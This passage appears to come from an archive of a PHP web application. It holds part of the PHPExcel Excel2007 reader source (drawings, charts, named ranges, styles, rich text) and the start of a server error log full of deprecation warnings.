$objDrawing->setOffsetX(PHPExcel_Shared_Drawing::EMUToPixels($oneCellAnchor->from->colOff)); $objDrawing->setOffsetY(PHPExcel_Shared_Drawing::EMUToPixels($oneCellAnchor->from->rowOff)); $objDrawing->setResizeProportional(false); $objDrawing->setWidth(PHPExcel_Shared_Drawing::EMUToPixels(self::getArrayItem($oneCellAnchor->ext->attributes(), "cx"))); $objDrawing->setHeight(PHPExcel_Shared_Drawing::EMUToPixels(self::getArrayItem($oneCellAnchor->ext->attributes(), "cy"))); if ($xfrm) { $objDrawing->setRotation(PHPExcel_Shared_Drawing::angleToDegrees(self::getArrayItem($xfrm->attributes(), "rot"))); } if ($outerShdw) { $shadow = $objDrawing->getShadow(); $shadow->setVisible(true); $shadow->setBlurRadius(PHPExcel_Shared_Drawing::EMUTopixels(self::getArrayItem($outerShdw->attributes(), "blurRad"))); $shadow->setDistance(PHPExcel_Shared_Drawing::EMUTopixels(self::getArrayItem($outerShdw->attributes(), "dist"))); $shadow->setDirection(PHPExcel_Shared_Drawing::angleToDegrees(self::getArrayItem($outerShdw->attributes(), "dir"))); $shadow->setAlignment((string) self::getArrayItem($outerShdw->attributes(), "algn")); $shadow->getColor()->setRGB(self::getArrayItem($outerShdw->srgbClr->attributes(), "val")); $shadow->setAlpha(self::getArrayItem($outerShdw->srgbClr->alpha->attributes(), "val") / 1000); } $objDrawing->setWorksheet($docSheet); } else { // ? Can charts be positioned with a oneCellAnchor ? $coordinates = PHPExcel_Cell::stringFromColumnIndex((string) $oneCellAnchor->from->col) . ($oneCellAnchor->from->row + 1); $offsetX = PHPExcel_Shared_Drawing::EMUToPixels($oneCellAnchor->from->colOff); $offsetY = PHPExcel_Shared_Drawing::EMUToPixels($oneCellAnchor->from->rowOff); $width = PHPExcel_Shared_Drawing::EMUToPixels(self::getArrayItem($oneCellAnchor->ext->attributes(), "cx")); $height = PHPExcel_Shared_Drawing::EMUToPixels(self::getArrayItem($oneCellAnchor->ext->attributes(), "cy")); } } } if ($xmlDrawing->twoCellAnchor) { foreach ($xmlDrawing->twoCellAnchor as $twoCellAnchor) { if ($twoCellAnchor->pic->blipFill) { $blip = $twoCellAnchor->pic->blipFill->children("http://schemas.openxmlformats.org/drawingml/2006/main")->blip; $xfrm = $twoCellAnchor->pic->spPr->children("http://schemas.openxmlformats.org/drawingml/2006/main")->xfrm; $outerShdw = $twoCellAnchor->pic->spPr->children("http://schemas.openxmlformats.org/drawingml/2006/main")->effectLst->outerShdw; $objDrawing = new PHPExcel_Worksheet_Drawing; $objDrawing->setName((string) self::getArrayItem($twoCellAnchor->pic->nvPicPr->cNvPr->attributes(), "name")); $objDrawing->setDescription((string) self::getArrayItem($twoCellAnchor->pic->nvPicPr->cNvPr->attributes(), "descr")); $objDrawing->setPath("zip://".PHPExcel_Shared_File::realpath($pFilename)."#" . $images[(string) self::getArrayItem($blip->attributes("http://schemas.openxmlformats.org/officeDocument/2006/relationships"), "embed")], false); $objDrawing->setCoordinates(PHPExcel_Cell::stringFromColumnIndex((string) $twoCellAnchor->from->col) . ($twoCellAnchor->from->row + 1)); $objDrawing->setOffsetX(PHPExcel_Shared_Drawing::EMUToPixels($twoCellAnchor->from->colOff)); $objDrawing->setOffsetY(PHPExcel_Shared_Drawing::EMUToPixels($twoCellAnchor->from->rowOff)); $objDrawing->setResizeProportional(false); if ($xfrm) { $objDrawing->setWidth(PHPExcel_Shared_Drawing::EMUToPixels(self::getArrayItem($xfrm->ext->attributes(), "cx"))); $objDrawing->setHeight(PHPExcel_Shared_Drawing::EMUToPixels(self::getArrayItem($xfrm->ext->attributes(), "cy"))); $objDrawing->setRotation(PHPExcel_Shared_Drawing::angleToDegrees(self::getArrayItem($xfrm->attributes(), "rot"))); } if ($outerShdw) { $shadow = $objDrawing->getShadow(); $shadow->setVisible(true); $shadow->setBlurRadius(PHPExcel_Shared_Drawing::EMUTopixels(self::getArrayItem($outerShdw->attributes(), "blurRad"))); $shadow->setDistance(PHPExcel_Shared_Drawing::EMUTopixels(self::getArrayItem($outerShdw->attributes(), "dist"))); $shadow->setDirection(PHPExcel_Shared_Drawing::angleToDegrees(self::getArrayItem($outerShdw->attributes(), "dir"))); $shadow->setAlignment((string) self::getArrayItem($outerShdw->attributes(), "algn")); $shadow->getColor()->setRGB(self::getArrayItem($outerShdw->srgbClr->attributes(), "val")); $shadow->setAlpha(self::getArrayItem($outerShdw->srgbClr->alpha->attributes(), "val") / 1000); } $objDrawing->setWorksheet($docSheet); } elseif (($this->includeCharts) && ($twoCellAnchor->graphicFrame)) { $fromCoordinate = PHPExcel_Cell::stringFromColumnIndex((string) $twoCellAnchor->from->col) . ($twoCellAnchor->from->row + 1); $fromOffsetX = PHPExcel_Shared_Drawing::EMUToPixels($twoCellAnchor->from->colOff); $fromOffsetY = PHPExcel_Shared_Drawing::EMUToPixels($twoCellAnchor->from->rowOff); $toCoordinate = PHPExcel_Cell::stringFromColumnIndex((string) $twoCellAnchor->to->col) . ($twoCellAnchor->to->row + 1); $toOffsetX = PHPExcel_Shared_Drawing::EMUToPixels($twoCellAnchor->to->colOff); $toOffsetY = PHPExcel_Shared_Drawing::EMUToPixels($twoCellAnchor->to->rowOff); $graphic = $twoCellAnchor->graphicFrame->children("http://schemas.openxmlformats.org/drawingml/2006/main")->graphic; $chartRef = $graphic->graphicData->children("http://schemas.openxmlformats.org/drawingml/2006/chart")->chart; $thisChart = (string) $chartRef->attributes("http://schemas.openxmlformats.org/officeDocument/2006/relationships"); $chartDetails[$docSheet->getTitle().'!'.$thisChart] = array( 'fromCoordinate' => $fromCoordinate, 'fromOffsetX' => $fromOffsetX, 'fromOffsetY' => $fromOffsetY, 'toCoordinate' => $toCoordinate, 'toOffsetX' => $toOffsetX, 'toOffsetY' => $toOffsetY, 'worksheetTitle' => $docSheet->getTitle() ); } } } } } } // Loop through definedNames if ($xmlWorkbook->definedNames) { foreach ($xmlWorkbook->definedNames->definedName as $definedName) { // Extract range $extractedRange = (string)$definedName; $extractedRange = preg_replace('/\'(\w+)\'\!/', '', $extractedRange); if (($spos = strpos($extractedRange, '!')) !== false) { $extractedRange = substr($extractedRange, 0, $spos).str_replace('$', '', substr($extractedRange, $spos)); } else { $extractedRange = str_replace('$', '', $extractedRange); } // Valid range? if (stripos((string)$definedName, '#REF!') !== false || $extractedRange == '') { continue; } // Some definedNames are only applicable if we are on the same sheet... if ((string)$definedName['localSheetId'] != '' && (string)$definedName['localSheetId'] == $sheetId) { // Switch on type switch ((string)$definedName['name']) { case '_xlnm._FilterDatabase': if ((string)$definedName['hidden'] !== '1') { $extractedRange = explode(',', $extractedRange); foreach ($extractedRange as $range) { $autoFilterRange = $range; if (strpos($autoFilterRange, ':') !== false) { $docSheet->getAutoFilter()->setRange($autoFilterRange); } } } break; case '_xlnm.Print_Titles': // Split $extractedRange $extractedRange = explode(',', $extractedRange); // Set print titles foreach ($extractedRange as $range) { $matches = array(); $range = str_replace('$', '', $range); // check for repeating columns, e g. 'A:A' or 'A:D' if (preg_match('/!?([A-Z]+)\:([A-Z]+)$/', $range, $matches)) { $docSheet->getPageSetup()->setColumnsToRepeatAtLeft(array($matches[1], $matches[2])); } elseif (preg_match('/!?(\d+)\:(\d+)$/', $range, $matches)) { // check for repeating rows, e.g. '1:1' or '1:5' $docSheet->getPageSetup()->setRowsToRepeatAtTop(array($matches[1], $matches[2])); } } break; case '_xlnm.Print_Area': $rangeSets = explode(',', $extractedRange); // FIXME: what if sheetname contains comma? $newRangeSets = array(); foreach ($rangeSets as $rangeSet) { $range = explode('!', $rangeSet); // FIXME: what if sheetname contains exclamation mark? $rangeSet = isset($range[1]) ? $range[1] : $range[0]; if (strpos($rangeSet, ':') === false) { $rangeSet = $rangeSet . ':' . $rangeSet; } $newRangeSets[] = str_replace('$', '', $rangeSet); } $docSheet->getPageSetup()->setPrintArea(implode(',', $newRangeSets)); break; default: break; } } } } // Next sheet id ++$sheetId; } // Loop through definedNames if ($xmlWorkbook->definedNames) { foreach ($xmlWorkbook->definedNames->definedName as $definedName) { // Extract range $extractedRange = (string)$definedName; $extractedRange = preg_replace('/\'(\w+)\'\!/', '', $extractedRange); if (($spos = strpos($extractedRange, '!')) !== false) { $extractedRange = substr($extractedRange, 0, $spos).str_replace('$', '', substr($extractedRange, $spos)); } else { $extractedRange = str_replace('$', '', $extractedRange); } // Valid range? if (stripos((string)$definedName, '#REF!') !== false || $extractedRange == '') { continue; } // Some definedNames are only applicable if we are on the same sheet... if ((string)$definedName['localSheetId'] != '') { // Local defined name // Switch on type switch ((string)$definedName['name']) { case '_xlnm._FilterDatabase': case '_xlnm.Print_Titles': case '_xlnm.Print_Area': break; default: if ($mapSheetId[(integer) $definedName['localSheetId']] !== null) { $range = explode('!', (string)$definedName); if (count($range) == 2) { $range[0] = str_replace("''", "'", $range[0]); $range[0] = str_replace("'", "", $range[0]); if ($worksheet = $docSheet->getParent()->getSheetByName($range[0])) { $extractedRange = str_replace('$', '', $range[1]); $scope = $docSheet->getParent()->getSheet($mapSheetId[(integer) $definedName['localSheetId']]); $excel->addNamedRange(new PHPExcel_NamedRange((string)$definedName['name'], $worksheet, $extractedRange, true, $scope)); } } } break; } } elseif (!isset($definedName['localSheetId'])) { // "Global" definedNames $locatedSheet = null; $extractedSheetName = ''; if (strpos((string)$definedName, '!') !== false) { // Extract sheet name $extractedSheetName = PHPExcel_Worksheet::extractSheetTitle((string)$definedName, true); $extractedSheetName = $extractedSheetName[0]; // Locate sheet $locatedSheet = $excel->getSheetByName($extractedSheetName); // Modify range $range = explode('!', $extractedRange); $extractedRange = isset($range[1]) ? $range[1] : $range[0]; } if ($locatedSheet !== null) { $excel->addNamedRange(new PHPExcel_NamedRange((string)$definedName['name'], $locatedSheet, $extractedRange, false)); } } } } } if ((!$this->readDataOnly) || (!empty($this->loadSheetsOnly))) { // active sheet index $activeTab = intval($xmlWorkbook->bookViews->workbookView["activeTab"]); // refers to old sheet index // keep active sheet index if sheet is still loaded, else first sheet is set as the active if (isset($mapSheetId[$activeTab]) && $mapSheetId[$activeTab] !== null) { $excel->setActiveSheetIndex($mapSheetId[$activeTab]); } else { if ($excel->getSheetCount() == 0) { $excel->createSheet(); } $excel->setActiveSheetIndex(0); } } break; } } if (!$this->readDataOnly) { $contentTypes = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, "[Content_Types].xml")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); foreach ($contentTypes->Override as $contentType) { switch ($contentType["ContentType"]) { case "application/vnd.openxmlformats-officedocument.drawingml.chart+xml": if ($this->includeCharts) { $chartEntryRef = ltrim($contentType['PartName'], '/'); $chartElements = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, $chartEntryRef)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $objChart = PHPExcel_Reader_Excel2007_Chart::readChart($chartElements, basename($chartEntryRef, '.xml')); // echo 'Chart ', $chartEntryRef, '<br />'; // var_dump($charts[$chartEntryRef]); // if (isset($charts[$chartEntryRef])) { $chartPositionRef = $charts[$chartEntryRef]['sheet'].'!'.$charts[$chartEntryRef]['id']; // echo 'Position Ref ', $chartPositionRef, '<br />'; if (isset($chartDetails[$chartPositionRef])) { // var_dump($chartDetails[$chartPositionRef]); $excel->getSheetByName($charts[$chartEntryRef]['sheet'])->addChart($objChart); $objChart->setWorksheet($excel->getSheetByName($charts[$chartEntryRef]['sheet'])); $objChart->setTopLeftPosition($chartDetails[$chartPositionRef]['fromCoordinate'], $chartDetails[$chartPositionRef]['fromOffsetX'], $chartDetails[$chartPositionRef]['fromOffsetY']); $objChart->setBottomRightPosition($chartDetails[$chartPositionRef]['toCoordinate'], $chartDetails[$chartPositionRef]['toOffsetX'], $chartDetails[$chartPositionRef]['toOffsetY']); } } } } } } $zip->close(); return $excel; } private static function readColor($color, $background = false) { if (isset($color["rgb"])) { return (string)$color["rgb"]; } elseif (isset($color["indexed"])) { return PHPExcel_Style_Color::indexedColor($color["indexed"]-7, $background)->getARGB(); } elseif (isset($color["theme"])) { if (self::$theme !== null) { $returnColour = self::$theme->getColourByIndex((int)$color["theme"]); if (isset($color["tint"])) { $tintAdjust = (float) $color["tint"]; $returnColour = PHPExcel_Style_Color::changeBrightness($returnColour, $tintAdjust); } return 'FF'.$returnColour; } } if ($background) { return 'FFFFFFFF'; } return 'FF000000'; } private static function readStyle($docStyle, $style) { // format code // if (isset($style->numFmt)) { // if (isset($style->numFmt['formatCode'])) { // $docStyle->getNumberFormat()->setFormatCode((string) $style->numFmt['formatCode']); // } else { $docStyle->getNumberFormat()->setFormatCode($style->numFmt); // } // } // font if (isset($style->font)) { $docStyle->getFont()->setName((string) $style->font->name["val"]); $docStyle->getFont()->setSize((string) $style->font->sz["val"]); if (isset($style->font->b)) { $docStyle->getFont()->setBold(!isset($style->font->b["val"]) || self::boolean((string) $style->font->b["val"])); } if (isset($style->font->i)) { $docStyle->getFont()->setItalic(!isset($style->font->i["val"]) || self::boolean((string) $style->font->i["val"])); } if (isset($style->font->strike)) { $docStyle->getFont()->setStrikethrough(!isset($style->font->strike["val"]) || self::boolean((string) $style->font->strike["val"])); } $docStyle->getFont()->getColor()->setARGB(self::readColor($style->font->color)); if (isset($style->font->u) && !isset($style->font->u["val"])) { $docStyle->getFont()->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE); } elseif (isset($style->font->u) && isset($style->font->u["val"])) { $docStyle->getFont()->setUnderline((string)$style->font->u["val"]); } if (isset($style->font->vertAlign) && isset($style->font->vertAlign["val"])) { $vertAlign = strtolower((string)$style->font->vertAlign["val"]); if ($vertAlign == 'superscript') { $docStyle->getFont()->setSuperScript(true); } if ($vertAlign == 'subscript') { $docStyle->getFont()->setSubScript(true); } } } // fill if (isset($style->fill)) { if ($style->fill->gradientFill) { $gradientFill = $style->fill->gradientFill[0]; if (!empty($gradientFill["type"])) { $docStyle->getFill()->setFillType((string) $gradientFill["type"]); } $docStyle->getFill()->setRotation(floatval($gradientFill["degree"])); $gradientFill->registerXPathNamespace("sml", "http://schemas.openxmlformats.org/spreadsheetml/2006/main"); $docStyle->getFill()->getStartColor()->setARGB(self::readColor(self::getArrayItem($gradientFill->xpath("sml:stop[@position=0]"))->color)); $docStyle->getFill()->getEndColor()->setARGB(self::readColor(self::getArrayItem($gradientFill->xpath("sml:stop[@position=1]"))->color)); } elseif ($style->fill->patternFill) { $patternType = (string)$style->fill->patternFill["patternType"] != '' ? (string)$style->fill->patternFill["patternType"] : 'solid'; $docStyle->getFill()->setFillType($patternType); if ($style->fill->patternFill->fgColor) { $docStyle->getFill()->getStartColor()->setARGB(self::readColor($style->fill->patternFill->fgColor, true)); } else { $docStyle->getFill()->getStartColor()->setARGB('FF000000'); } if ($style->fill->patternFill->bgColor) { $docStyle->getFill()->getEndColor()->setARGB(self::readColor($style->fill->patternFill->bgColor, true)); } } } // border if (isset($style->border)) { $diagonalUp = self::boolean((string) $style->border["diagonalUp"]); $diagonalDown = self::boolean((string) $style->border["diagonalDown"]); if (!$diagonalUp && !$diagonalDown) { $docStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_NONE); } elseif ($diagonalUp && !$diagonalDown) { $docStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_UP); } elseif (!$diagonalUp && $diagonalDown) { $docStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_DOWN); } else { $docStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_BOTH); } self::readBorder($docStyle->getBorders()->getLeft(), $style->border->left); self::readBorder($docStyle->getBorders()->getRight(), $style->border->right); self::readBorder($docStyle->getBorders()->getTop(), $style->border->top); self::readBorder($docStyle->getBorders()->getBottom(), $style->border->bottom); self::readBorder($docStyle->getBorders()->getDiagonal(), $style->border->diagonal); } // alignment if (isset($style->alignment)) { $docStyle->getAlignment()->setHorizontal((string) $style->alignment["horizontal"]); $docStyle->getAlignment()->setVertical((string) $style->alignment["vertical"]); $textRotation = 0; if ((int)$style->alignment["textRotation"] <= 90) { $textRotation = (int)$style->alignment["textRotation"]; } elseif ((int)$style->alignment["textRotation"] > 90) { $textRotation = 90 - (int)$style->alignment["textRotation"]; } $docStyle->getAlignment()->setTextRotation(intval($textRotation)); $docStyle->getAlignment()->setWrapText(self::boolean((string) $style->alignment["wrapText"])); $docStyle->getAlignment()->setShrinkToFit(self::boolean((string) $style->alignment["shrinkToFit"])); $docStyle->getAlignment()->setIndent(intval((string)$style->alignment["indent"]) > 0 ? intval((string)$style->alignment["indent"]) : 0); $docStyle->getAlignment()->setReadorder(intval((string)$style->alignment["readingOrder"]) > 0 ? intval((string)$style->alignment["readingOrder"]) : 0); } // protection if (isset($style->protection)) { if (isset($style->protection['locked'])) { if (self::boolean((string) $style->protection['locked'])) { $docStyle->getProtection()->setLocked(PHPExcel_Style_Protection::PROTECTION_PROTECTED); } else { $docStyle->getProtection()->setLocked(PHPExcel_Style_Protection::PROTECTION_UNPROTECTED); } } if (isset($style->protection['hidden'])) { if (self::boolean((string) $style->protection['hidden'])) { $docStyle->getProtection()->setHidden(PHPExcel_Style_Protection::PROTECTION_PROTECTED); } else { $docStyle->getProtection()->setHidden(PHPExcel_Style_Protection::PROTECTION_UNPROTECTED); } } } // top-level style settings if (isset($style->quotePrefix)) { $docStyle->setQuotePrefix($style->quotePrefix); } } private static function readBorder($docBorder, $eleBorder) { if (isset($eleBorder["style"])) { $docBorder->setBorderStyle((string) $eleBorder["style"]); } if (isset($eleBorder->color)) { $docBorder->getColor()->setARGB(self::readColor($eleBorder->color)); } } private function parseRichText($is = null) { $value = new PHPExcel_RichText(); if (isset($is->t)) { $value->createText(PHPExcel_Shared_String::ControlCharacterOOXML2PHP((string) $is->t)); } else { if (is_object($is->r)) { foreach ($is->r as $run) { if (!isset($run->rPr)) { $objText = $value->createText(PHPExcel_Shared_String::ControlCharacterOOXML2PHP((string) $run->t)); } else { $objText = $value->createTextRun(PHPExcel_Shared_String::ControlCharacterOOXML2PHP((string) $run->t)); if (isset($run->rPr->rFont["val"])) { $objText->getFont()->setName((string) $run->rPr->rFont["val"]); } if (isset($run->rPr->sz["val"])) { $objText->getFont()->setSize((string) $run->rPr->sz["val"]); } if (isset($run->rPr->color)) { $objText->getFont()->setColor(new PHPExcel_Style_Color(self::readColor($run->rPr->color))); } if ((isset($run->rPr->b["val"]) && self::boolean((string) $run->rPr->b["val"])) || (isset($run->rPr->b) && !isset($run->rPr->b["val"]))) { $objText->getFont()->setBold(true); } if ((isset($run->rPr->i["val"]) && self::boolean((string) $run->rPr->i["val"])) || (isset($run->rPr->i) && !isset($run->rPr->i["val"]))) { $objText->getFont()->setItalic(true); } if (isset($run->rPr->vertAlign) && isset($run->rPr->vertAlign["val"])) { $vertAlign = strtolower((string)$run->rPr->vertAlign["val"]); if ($vertAlign == 'superscript') { $objText->getFont()->setSuperScript(true); } if ($vertAlign == 'subscript') { $objText->getFont()->setSubScript(true); } } if (isset($run->rPr->u) && !isset($run->rPr->u["val"])) { $objText->getFont()->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE); } elseif (isset($run->rPr->u) && isset($run->rPr->u["val"])) { $objText->getFont()->setUnderline((string)$run->rPr->u["val"]); } if ((isset($run->rPr->strike["val"]) && self::boolean((string) $run->rPr->strike["val"])) || (isset($run->rPr->strike) && !isset($run->rPr->strike["val"]))) { $objText->getFont()->setStrikethrough(true); } } } } } return $value; } private function readRibbon($excel, $customUITarget, $zip) { $baseDir = dirname($customUITarget); $nameCustomUI = basename($customUITarget); // get the xml file (ribbon) $localRibbon = $this->getFromZipArchive($zip, $customUITarget); $customUIImagesNames = array(); $customUIImagesBinaries = array(); // something like customUI/_rels/customUI.xml.rels $pathRels = $baseDir . '/_rels/' . $nameCustomUI . '.rels'; $dataRels = $this->getFromZipArchive($zip, $pathRels); if ($dataRels) { // exists and not empty if the ribbon have some pictures (other than internal MSO) $UIRels = simplexml_load_string($this->securityScan($dataRels), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); if ($UIRels) { // we need to save id and target to avoid parsing customUI.xml and "guess" if it's a pseudo callback who load the image foreach ($UIRels->Relationship as $ele) { if ($ele["Type"] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') { // an image ? $customUIImagesNames[(string) $ele['Id']] = (string)$ele['Target']; $customUIImagesBinaries[(string)$ele['Target']] = $this->getFromZipArchive($zip, $baseDir . '/' . (string) $ele['Target']); } } } } if ($localRibbon) { $excel->setRibbonXMLData($customUITarget, $localRibbon); if (count($customUIImagesNames) > 0 && count($customUIImagesBinaries) > 0) { $excel->setRibbonBinObjects($customUIImagesNames, $customUIImagesBinaries); } else { $excel->setRibbonBinObjects(null); } } else { $excel->setRibbonXMLData(null); $excel->setRibbonBinObjects(null); } } private static function getArrayItem($array, $key = 0) { return (isset($array[$key]) ? $array[$key] : null); } private static function dirAdd($base, $add) { return preg_replace('~[^/]+/\.\./~', '', dirname($base) . "/$add"); } private static function toCSSArray($style) { $style = str_replace(array("\r","\n"), "", $style); $temp = explode(';', $style); $style = array(); foreach ($temp as $item) { $item = explode(':', $item); if (strpos($item[1], 'px') !== false) { $item[1] = str_replace('px', '', $item[1]); } if (strpos($item[1], 'pt') !== false) { $item[1] = str_replace('pt', '', $item[1]); $item[1] = PHPExcel_Shared_Font::fontSizeToPixels($item[1]); } if (strpos($item[1], 'in') !== false) { $item[1] = str_replace('in', '', $item[1]); $item[1] = PHPExcel_Shared_Font::inchSizeToPixels($item[1]); } if (strpos($item[1], 'cm') !== false) { $item[1] = str_replace('cm', '', $item[1]); $item[1] = PHPExcel_Shared_Font::centimeterSizeToPixels($item[1]); } $style[$item[0]] = $item[1]; } return $style; } private static function boolean($value = null) { if (is_object($value)) { $value = (string) $value; } if (is_numeric($value)) { return (bool) $value; } return ($value === 'true' || $value === 'TRUE'); } } PHPExcel/Reader/error_log 0000644 00001236716 14642534110 0011313 0 ustar 00 [11-May-2024 05:09:47 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [11-May-2024 05:09:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:09:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:09:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:09:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:09:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:09:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:09:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:09:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:09:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:09:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:09:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:09:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:09:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:09:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:09:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:09:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:09:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:09:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:09:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [11-May-2024 05:09:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [11-May-2024 05:09:54 UTC] PHP 